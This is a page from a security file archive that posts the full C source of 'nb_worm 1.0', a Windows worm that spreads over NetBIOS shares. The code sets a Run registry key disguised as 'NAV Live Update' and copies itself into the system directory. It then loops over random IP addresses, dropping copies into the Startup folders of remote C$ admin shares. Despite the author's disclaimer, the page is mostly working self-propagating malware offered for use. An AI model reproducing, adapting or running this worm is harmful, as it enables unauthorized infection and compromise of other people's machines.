what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

nb_worm.c

nb_worm.c
Posted Dec 6, 2002
Authored by r-22 | Site manshadow.org

Netbios Worm v1.0 is a simple program which shows how a worm can spread across netbios shares.

tags | worm
SHA-256 | 5537a2f48a21330e64b052695d14ffa0b6b83bfeb27f1a5920b8dbc6e6617e57

nb_worm.c

Change Mirror Download
/*
nb_worm 1.0

coded by: r-22
date: 12.05.02
e-mail: admin@manshadow.org
www: http://www.manshadow.org/

this is just a simple program to show
how to make a worm that spreads across
through netbios shares, this is
actually a chopped version of 4x10m
an irc bot i am working on currently
this code is not meant to be used
in a malicious manner and the writer
of this code is not to be held responsible
for any damage that is a result of the
use of this code

shouts to:
strychnine, uniTy, rabbit, m03
cThReE, aol secrets and #niz2k

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define WIN32_LEAN_AND_MEAN

#define APP_VERSION "nb_worm 1.0"


/* prototypes */
void InstallReg();
void MoveLocal();
void MoveNetBIOS();
void GetRandIP(const char *ip_addr);

/* main program code */
int main(int argc, char *argv[])
{

InstallReg();
MoveLocal();
while (1)
{
MoveNetBIOS();
Sleep(2000);
}
return 0;
}


/* install registry keys */
void InstallReg()
{
HKEY reg_key;
char reg_val[16] = "NAV Live Update";
char app_name[MAX_PATH];

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &reg_key, NULL);
RegSetValueEx(reg_key, reg_val, 0, REG_SZ, (const unsigned char *)&app_name, sizeof(app_name) +1 );
RegCloseKey(reg_key);
}


/* change bot location to %SystemRoot% */
void MoveLocal()
{
char sysdir[MAX_PATH];
char app_name[MAX_PATH];
char base_name[MAX_PATH];
char *file_name;

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
GetSystemDirectory(sysdir, sizeof(sysdir));
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, sysdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
}


/* copy bot to startup directory of remote machine */
void MoveNetBIOS()
{
char netdir[MAX_PATH];
char app_name[MAX_PATH];
char base_name[MAX_PATH];
char *file_name;
char ip_addr[16];

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
/* Windows 2000 and Windows XP startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C$\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup");
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
/* Windows 95/98 and Windows ME startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C\\WINDOWS\\Start Menu\\Programs\\Startup"); /* do not use C$ */
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
/* Windows NT startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C$\\WINNT\\All Users\\Start Menu\\Programs\\Startup");
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
}


/* return a random ip from 1.1.1.1 to 254.254.254.254 */
void GetRandIP(const char *ip_addr)
{
char ip_addr_a[4];
char ip_addr_b[4];
char ip_addr_c[4];
char ip_addr_d[4];

srand(time(NULL));
itoa(rand() % 253 + 1, ip_addr_a, 10);
itoa(rand() % 253 + 1, ip_addr_b, 10);
itoa(rand() % 253 + 1, ip_addr_c, 10);
itoa(rand() % 253 + 1, ip_addr_d, 10);
strcpy((char *)ip_addr, ip_addr_a);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_b);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_c);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_d);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close